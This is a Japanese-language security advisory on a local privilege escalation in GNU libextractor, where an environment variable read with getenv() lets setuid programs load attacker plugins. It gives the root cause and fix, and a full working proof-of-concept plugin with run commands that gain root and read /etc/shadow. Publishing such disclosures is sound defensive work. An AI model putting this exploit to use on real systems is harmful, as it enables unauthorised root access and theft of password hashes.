
GNU libextractor のプラグイン読み込み機構は、LIBEXTRACTOR_PREFIX 環境変数を使用して共有ライブラリ(.so プラグイン)を読み込む場所を決定します。secure_getenv() ではなく getenv() を使用しているため、プロセスが昇格した権限で実行されている場合でもこの環境変数は除去されません。攻撃者は LIBEXTRACTOR_PREFIX を悪意のあるディレクトリに設定し、libextractor プラグインを読み込む任意のアプリケーションに任意のコードを実行させることができます。
主な影響: root へのローカル権限昇格(LPE)。
| 項目 | 値 |
|---|---|
| CVE | CVE-2026-100310 |
| 製品 | GNU libextractor |
| 影響を受けるバージョン | >= 0, < 1.16 |
| 修正バージョン | 1.16 |
| CVSS 4.0 | 7.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| 深刻度 | HIGH |
| CWE | CWE-426 (信頼できない検索パス) |
| 攻撃ベクトル | ローカル |
| 必要な権限 | 低 |
| ユーザー操作 | なし |
| CNA | VulnCheck |
| 研究者 | Haitam Lazaar |
注記: この脆弱性がローカル権限昇格を引き起こすには、管理者が
libextractorにリンクするバイナリにsetuidビットを設定している必要があります。libextractor自体にはsetuidバイナリは同梱されていませんが、このライブラリを動的にリンクし、環境を手動でサニタイズしていない特権プロセスやシステムデーモンは完全な侵害に対して脆弱です。
libextractor にリンクする任意の setuid バイナリまたは特権デーモン
上記のアニメーションはエクスプロイトを実演しています。攻撃者は悪意のある共有ライブラリ(evil_plugin.c)をコンパイルし、/tmp/evil_plugins に配置します。libextractor を使用する setuid バイナリを実行し、コマンドの前に LIBEXTRACTOR_PREFIX=/tmp/evil_plugins を付けることで、動的リンカは昇格した権限で悪意のあるプラグインを読み込みます。これにより即座に root として任意のコマンドが実行され、id の出力と制限された /etc/shadow ファイルが /tmp/privesc_proof に書き込まれることで実証されます。
この脆弱性は主に LIBEXTRACTOR_PREFIX 環境変数を悪用することで引き起こされます。
(注記: libextractor には /proc/PID/maps や書き込み可能な PATH ディレクトリを使用する二次的な安全でないフォールバックも含まれていますが、環境変数の注入が最も直接的で信頼性の高い攻撃ベクトルです)。
/*
* evil_plugin.c — 権限昇格用の悪意のある libextractor プラグイン
* コンパイル: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* ディレクトリに配置し、LIBEXTRACTOR_PREFIX をそのディレクトリに設定します。
* 任意の setuid アプリケーションが OLE2 プラグインを読み込むと、このコンストラクタは
* 完全な root (uid=0, gid=0) に昇格し、任意のコマンドを実行します。
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
/* 昇格: euid=0 により setuid(0) が可能となり、実 uid=0 に設定される */
setuid(0);
setgid(0);
/* 完全な root として実行中 — シェルコマンドが機能する */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
Ubuntu 24.04 と libextractor 1.14 でテスト済み:
# 1. 悪意のあるプラグインをコンパイル
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 2. 設定ミスのある (setuid) ターゲットバイナリをシミュレート
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 3. 非特権ユーザーとしてエクスプロイトを実行
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
src/main/extractor_plugpath.c 内の関数 get_installation_paths() は標準の getenv() を呼び出しています:
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
secure_getenv() を使用していないため、バイナリが昇格した権限で実行された場合でも動的リンカはこの変数を除去しません(LD_PRELOAD や LD_LIBRARY_PATH とは異なります)。その後 lt_dlopenadvise() は攻撃者が制御するパスから libextractor_<name>.so を盲目的に読み込みます。
メンテナはバージョン 1.16 で getenv() を secure_getenv() に置き換えることでこれを修正しました。secure_getenv() はプロセスが昇格した権限で実行されている場合(euid != uid)、NULL を返します。
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
独立したセキュリティ研究の中で私(Haitam Lazaar)が発見しました。
GNU libextractor のメンテナである Christian Grothoff 氏に特別な感謝を捧げます。彼の驚くほど迅速なトリアージ、プロフェッショナルなコミュニケーション、そしてこの監査中に報告された本件およびその他いくつかのメモリ安全性問題を解決するための迅速なパッチ展開(v1.15、v1.16、v1.17)に感謝します。
私の研究は教育および防御目的で提供されています。責任を持って使用してください。